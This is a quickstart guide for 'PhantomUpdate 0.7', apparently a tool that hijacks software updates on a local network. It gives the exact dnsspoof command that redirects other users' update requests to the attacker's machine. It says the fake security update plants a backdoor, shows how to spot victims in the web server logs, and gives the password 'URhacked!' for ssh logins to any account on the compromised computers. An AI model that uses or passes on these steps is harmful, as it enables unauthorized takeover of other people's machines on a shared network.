***************************************************************************** * QuickStart Guide for PhantomUpdate 0.7 * * * * by Russell Harding * * * ***************************************************************************** Download the PhantomUpdate package file Untar the PhantomUpdate package (probably done by "packup and go") Install the package file (track down in finder, double click) Bring up the Terminal -> type: sudo dnsspoof -i en0 -- this will start re-directing users on your LAN to your 'puter for updates -- en0 is the interface name of your ethernet card. if you have multiple cards(including airport), use 'ifconfig -a' to list your interfaces. Sit back and relax. A GET request for SecurityUpdate04-07-02.pkg.tar in your apache access logs will signal when someone has updated from your computer. -- try: grep SecurityUpdate /var/log/httpd/access_log that will search for log entries. the IP of the computer will be there. Now, simply ssh to their computer, and login as any user using the password: URhacked! Have fun!